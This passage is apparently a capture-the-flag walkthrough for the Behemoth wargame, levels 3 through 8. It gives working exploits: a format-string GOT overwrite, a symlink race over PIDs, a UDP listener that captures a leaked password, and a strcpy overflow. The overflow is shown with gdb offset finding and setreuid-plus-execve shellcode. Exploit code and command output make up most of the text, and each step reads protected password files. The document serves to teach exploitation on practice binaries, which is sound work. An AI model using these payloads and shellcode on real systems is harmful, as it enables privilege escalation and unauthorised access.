sys.stdout.buffer.write(p32(puts_got) + p32(puts_got + 2) + f'%{val1}c%1\$hn%{val2}c%2\$hn'.encode() + b'\nid\ncat /etc/behemoth_pass/behemoth4\n')
" | /behemoth/behemoth3

If the EGG address was stable (same argv length), this overwrites puts@GOT. When the binary calls puts("aaaand goodbye again."), it jumps to the shellcode instead.

Caveat: The env address varies with argv[0] length. If the exploit doesn't work, find the EGG address and exploit binary with identical argv lengths, or embed shellcode directly in the format string buffer (address found via stack leak).

[credential redacted]

level 4 → level 5

Level 4: The binary checks for a file at /tmp/<pid> and if it exists, reads and prints its contents. The PID is obtained from getpid(). Create a symlink from /tmp/<pid> to /etc/behemoth_pass/behemoth5.

The simplest approach: pre-create symlinks covering a wide PID range, then loop running the binary:

1
2
3
4
5
6
7
behemoth4@behemoth:/tmp/behemoth4$ for i in $(seq 1 65535); do
ln -sf /etc/behemoth_pass/behemoth5 $i 2>/dev/null
done

behemoth4@behemoth:/tmp/behemoth4$ while :; do
/behemoth/behemoth4 2>&1 | grep -v "PID not found" && break
done

This can take a few seconds to minutes—each run has a PID, and you need one that falls in your symlink range.

[credential redacted]

level 5 → level 6

Level 5: Insecure data exfiltration over UDP. The binary reads /etc/behemoth_pass/behemoth6 and sends it to 127.0.0.1:1337 via UDP.

Set up a UDP listener on port 1337 in one session, then run the binary in another:

1
2
3
4
5
6
# Session 1 - listener
behemoth5@behemoth:~$ nc -lup 1337

# Session 2 - trigger
behemoth5@behemoth:~$ /behemoth/behemoth5
# password received in session 1
[credential redacted]

level 6 → level 7

Level 6: Shellcode execution gated by string comparison. behemoth6 runs behemoth6_reader via popen(), reads its output, and compares it to "HelloKitty" using strcmp(). If they match, a shell is spawned as behemoth7.

behemoth6_reader reads shellcode.txt and executes it as shellcode — but filters out byte 0x0b (int 0x80 / execve syscall).

Write shellcode that prints "HelloKitty" to stdout without using 0x0b:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch = "i386"

sc = asm("""
jmp short getmsg
printmsg:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0x4 /* write syscall (not 0x0b, blocked) */
mov bl, 0x1 /* stdout */
pop ecx /* message address */
mov dl, 0xa /* "HelloKitty" = 10 bytes */
int 0x80
xor eax, eax
mov al, 0x1 /* exit syscall */
xor ebx, ebx
int 0x80
getmsg:
call printmsg
.ascii "HelloKitty"
""")
print(sc.hex())

Extract the shellcode bytes:

1
2
3
4
5
6
7
behemoth6@behemoth:/tmp/behemoth6$ python3 -c "
from pwn import *
context.arch = 'i386'
sc = asm('jmp short getmsg; printmsg: xor eax,eax; xor ebx,ebx; xor ecx,ecx; xor edx,edx; mov al,0x4; mov bl,0x1; pop ecx; mov dl,0xa; int 0x80; xor eax,eax; mov al,0x1; xor ebx,ebx; int 0x80; getmsg: call printmsg; .ascii \"HelloKitty\"')
import sys
sys.stdout.buffer.write(sc)
" > shellcode.txt

Or if you prefer NASM, extract with pwntools instead of grep -Po:

Write to shellcode.txt and run:

1
2
3
4
5
6
7
8
9
10
11
behemoth6@behemoth:/tmp/behemoth6$ python3 -c "
from pwn import *
context.arch = 'i386'
import sys
sc = asm('jmp short getmsg; printmsg: xor eax,eax; xor ebx,ebx; xor ecx,ecx; xor edx,edx; mov al,0x4; mov bl,0x1; pop ecx; mov dl,0xa; int 0x80; xor eax,eax; mov al,0x1; xor ebx,ebx; int 0x80; getmsg: call printmsg; .ascii \"HelloKitty\"')
sys.stdout.buffer.write(sc)
" > shellcode.txt
behemoth6@behemoth:/tmp/behemoth6$ /behemoth/behemoth6
Correct.
$ whoami
behemoth7
[credential redacted]

Level 7 → Level 8

Level 7: strcpy() buffer overflow with guardrails. The binary:

  • Zeroes all environment variables with memset() at startup — no env shellcode
  • Scans argv[1] first 512 bytes for non-alphanumeric chars via __ctype_b_loc + isalnum() — exits if found
  • Uses strcpy() without bounds checking — classic overflow
1
2
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "\x90"')
Non-alpha chars found in string, possible shellcode!

The loop counter compares against 0x1ff (511), so only the first 512 bytes are checked. Everything past byte 512 bypasses the filter.

Finding EIP offset

1
2
3
4
5
6
7
behemoth7@behemoth:/behemoth$ gdb -q ./behemoth7
(gdb) r $(python3 -c 'from pwn import *; print(cyclic(700, n=4).decode())')
Segmentation fault (core dumped) 0x66616168

# cyclic_find returns 528
(gdb) r $(python3 -c 'print("A"*528 + "BBBB" + "C"*300)')
# EIP = 0x42424242 ✓

Offset is 528.

Payload strategy

First 512 bytes can only contain alphanumeric bytes — 'A' is fine. Non-alpha payload goes past byte 512. Since the shellcode + return address (after EIP) spans positions 528+, we can put a long NOP sled after the return address on the stack, pointed to by ESP after ret:

1
2
[A × 528]  [RET → ESP]  [NOP sled × 200]  [shellcode]
0..527 528..531 532..731 732..

Shellcode with setreuid

Bash/dash drops setuid privileges on startup if real UID ≠ effective UID. The binary runs with euid=behemoth8 but ruid=behemoth7, so a plain execve("/bin//sh") shell will have uid=behemoth7 and can't read the password. Fix: call setreuid(13008, 13008) (behemoth8 UID) first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.arch = "i386"

sc = asm("""
/* setreuid(13008, 13008) — syscall 70 */
xor eax, eax
mov al, 0x46
xor ebx, ebx
mov bh, 0x32
mov bl, 0xd0 /* ebx = 0x32d0 = 13008 */
xor ecx, ecx
mov ch, 0x32
mov cl, 0xd0 /* ecx = 0x32d0 = 13008 */
int 0x80

/* execve("/bin//sh", NULL, NULL) — syscall 11 */
xor eax, eax
mov al, 0xb
xor edx, edx
xor ecx, ecx
push ecx
push 0x68732f2f /* "//sh" */
push 0x6e69622f /* "/bin" */
mov ebx, esp
int 0x80
""")

Total: 41 bytes. A 200-byte NOP sled before it provides plenty of landing zone.

Finding the stack address

Crash with a placeholder (4 Bs at EIP offset), then read ESP — it points right at the NOP sled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
behemoth7@behemoth:/tmp$ python3 -c "
from pwn import *
context.arch = 'i386'
payload = b'A'*528 + b'BBBB' + asm('nop')*200 + b'SC_PLACEHOLDER'
open('/tmp/b7_payload.bin','wb').write(payload)
"

behemoth7@behemoth:/tmp$ gdb -q -nx -batch \
-ex "set pagination off" \
-ex "set disable-randomization on" \
-ex "unset environment LINES COLUMNS TERM" \
-ex "run \$(cat /tmp/b7_payload.bin)" \
-ex "info registers eip esp" \
-ex "x/4wx \$esp" \
/behemoth/behemoth7
# EIP = 0x42424242, ESP = 0xffffd8f0
# At ESP: 0x90909090 0x90909090 0x90909090 0x90909090 ← NOP sled ✓

Stack is at 0xffffd8f0 — stable per session (ASLR disabled server-side), varies between logins.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
behemoth7@behemoth:/tmp$ /behemoth/behemoth7 $(python3 -c '
from pwn import *
context.arch = "i386"
sc = asm("""
xor eax, eax
mov al, 0x46
xor ebx, ebx
mov bh, 0x32
mov bl, 0xd0
xor ecx, ecx
mov ch, 0x32
mov cl, 0xd0
int 0x80
xor eax, eax
mov al, 0xb
xor edx, edx
xor ecx, ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
""")
ret = 0xffffd8f0 # from gdb, adjust per session
print("A" * 528 + p32(ret).decode("latin-1") + "\x90" * 200 + sc.decode("latin-1"))
')
$ id
uid=13008(behemoth8) gid=13007(behemoth7) groups=13007(behemoth7)
$ cat /etc/behemoth_pass/behemoth8

Replace 0xffffd8f0 with the ESP value from your gdb session. If the shell doesn't spawn, the address missed the NOP sled — adjust ±16.

[credential redacted]